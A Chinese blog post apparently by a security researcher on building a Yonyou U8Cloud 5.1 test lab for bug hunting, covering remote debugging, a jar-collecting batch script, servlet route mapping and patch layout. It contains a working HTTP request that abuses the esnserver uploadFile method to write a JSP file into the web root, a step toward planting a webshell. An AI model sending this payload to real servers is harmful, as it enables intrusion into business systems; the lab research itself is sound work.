用友U8Cloud环境搭建
1diot9 Lv4

前言

在配环境时踩了很多坑,尤其时调试的时候。这里把遇到的问题都记录一下,希望能给大家一点帮助。

安装

某鱼上收一个最新版本的就行,我收的是5.1的。收最新环境是为了之后挖洞,挖洞一般挑最新版本,这样挖到的洞适用性更广。以下说明均基于5.1版本。

收到的一般是一份数据库文件和一个安装包。我数据库用的是sql server 2016 数据库怎么初始化,收到的网盘里一般都会自带,再结合网上sql server的教程,应该能够自己解决。

这里建议把环境安装到虚拟机里,这样方便快照保存,同时以后换电脑也方便迁移。缺点是会多占用磁盘,而且还需要把各种lib从虚拟机里复制出来供远程调试使用。

注意,安装时的端口一定要选择一个不冲突的。

安装完成后,可以通过一个payload测试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /service/esnserver HTTP/1.1
Host: 127.0.0.1:8051
Cache-Control: max-age=0
sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Token: 469ce01522f64366750d1995ca119841
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=5AA7B7EB80F78BE269D5AEBE3ABE36FC.server
If-None-Match: W/"1215-1692092838000"
If-Modified-Since: Tue, 15 Aug 2023 09:47:18 GMT
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 239

{"invocationInfo":{"ucode":"123","dataSource":"U8cloud","lang":"en"},"method":"uploadFile","className":"nc.itf.hr.tools.IFileTrans","param":{"p1":"shelltext","p2":"webapps/u8c_web/test1234.jsp"},"paramType":["p1:[B","p2:java.lang.String"]}

img

这里会在/webapps/u8c_web/test1234.jsp创建一个空文件,如果能成功的话,说明环境没问题。

远程调试

这里就比较坑,我原本是在startup.bat里添加命令行参数,启动时控制台确实显示监听,且idea远程调试也能连接上。但是就是无法在断点处停下。后面问了Killer师傅才知道,原来不是在startup.bat里改,而是在”D:\U8CERP\ierp\bin\prop.xml”里修改:

img

当然,也可以直接复制启动参数,然后在cmd里加上调试参数去手动启动:

img

这一点真实非常坑,差点让我出师未捷身先死。

库文件添加

u8cloud里需要添加的库文件很多,包括external,framework,lib,langlib,middleware,modules,nmc等文件夹。而且有些文件夹不是直接添加就好了,你还得一层层打开,然后添加里面的lib目录,很是麻烦。

所以这里我让AI帮我写了脚本,把所有.jar和classes目录都复制到了一个文件夹下,这样直接添加就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
@echo off
setlocal enabledelayedexpansion

rem Source and destination paths
set "SRC=D:\U8CERP"
set "DEST=D:\U8CERP\alllibs"

rem Create destination directory if it does not exist
if not exist "%DEST%" (
mkdir "%DEST%"
)

rem Copy all .jar files
echo Copying all .jar files from %SRC% to %DEST% ...
for /r "%SRC%" %%f in (*.jar) do (
echo Copying: %%f
copy "%%f" "%DEST%" >nul
)

rem Copy all "classes" folders recursively
echo Copying all "classes" folders from %SRC% to %DEST% ...
for /r "%SRC%" %%d in (classes) do (
if exist "%%d" (
echo Copying folder: %%d
xcopy "%%d" "%DEST%\classes" /e /i /y >nul
)
)

echo All files copied successfully.
pause

也可以直接修改后缀,这样就能复制.xml等文件到一起。

但是这样有一个问题,就是你在idea里调试,想要查看这个jar是属于哪个文件夹时,就需要复制jar包名称,然后通过everything等工具查找,找到对应的位置。

不过你也可以让AI写另一个脚本,让它把各个文件夹里的jar包写成idea中xml的格式。因为idea的库实际上是以xml的形式存储的:

img

不过个人觉得还是第一种更方便。

最后记得在模块-依赖里把刚刚添加的库勾选上,不然全局搜索会搜不到:

img

部分路由映射关系

webapps/u8c_web/web.xml 里有一部分servlet映射。

u8cloud里的一部分路由,是通过InvokerServlet的方式来动态加载的。这是web.xml里决定的:

img

img

而怎么Invoke具体的Servlet,这是由配置文件决定的”D:\U8CERP\modules\uap\META-INF”,这里面所有的.upm记录了映射关系:

img

可以用上面的脚本把所有的upm文件复制到一起。

也可以在这里打断点:

img

然后访问/service/esnserver

然后运行表达式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ComponentMeta[] componentMetas = publicRepo.getComponentMetas();
HashMap<Object, Object> hashMap = new HashMap<>();
for (int i = 0; i < publicRepo.getCount(); i++) {
try{
String name = componentMetas[i].getName();
ComponentMeta meta = componentMetas[i];
Instantiator raw = ((ComponentMetaImpl) meta).getRawInstantiator();
Field f = raw.getClass().getDeclaredField("implementation");
f.setAccessible(true);
Class o = (Class) f.get(raw);
String clazzName = o.getName();
hashMap.put(name, clazzName);
}catch (Exception e) {

}
}

String filePath = "D:/U8CERP/map_output.txt";
try {
BufferedWriter writer = new BufferedWriter(new FileWriter(filePath));
for (Map.Entry<Object, Object> entry : hashMap.entrySet()) {
writer.write("urlName-/service/"+entry.getKey() + ": className-" + entry.getValue());
writer.newLine(); // 换行

}
}catch (Exception e) {

}

这样就能把url和class的映射关系全都打印出来了。

img

可以直接到我的仓库下载:

MyJavaSecStudy/CodeAudit/用友U8cloud at main · 1diot9/MyJavaSecStudy

补丁分析

去官网能搜索到补丁:https://security.yonyou.com/#/patchList

补丁一般是这样的目录结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|   installpatch.xml
| packmetadata.xml
| readme.txt
|
\---replacement
+---external
| \---classes
| \---nc
| \---bs
| \---framework
| \---server
| \---token
| TokenUtil$TokenUtilHolder.class
| TokenUtil.class
|
+---ierp
| \---bin
| \---token
| trustServiceList.conf
|
\---modules
\---hrpub
\---META-INF
\---classes
\---nc
\---impl
\---hr
\---tools
\---trans
FileTransImpl.class

位于classes和META-INF中的.class文件优先级更高,这样web应用启动时就会选择最新的类,从而打上补丁。

ierp里都是配置文件,比如白名单之类的。

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 52.9k 访客数 访问量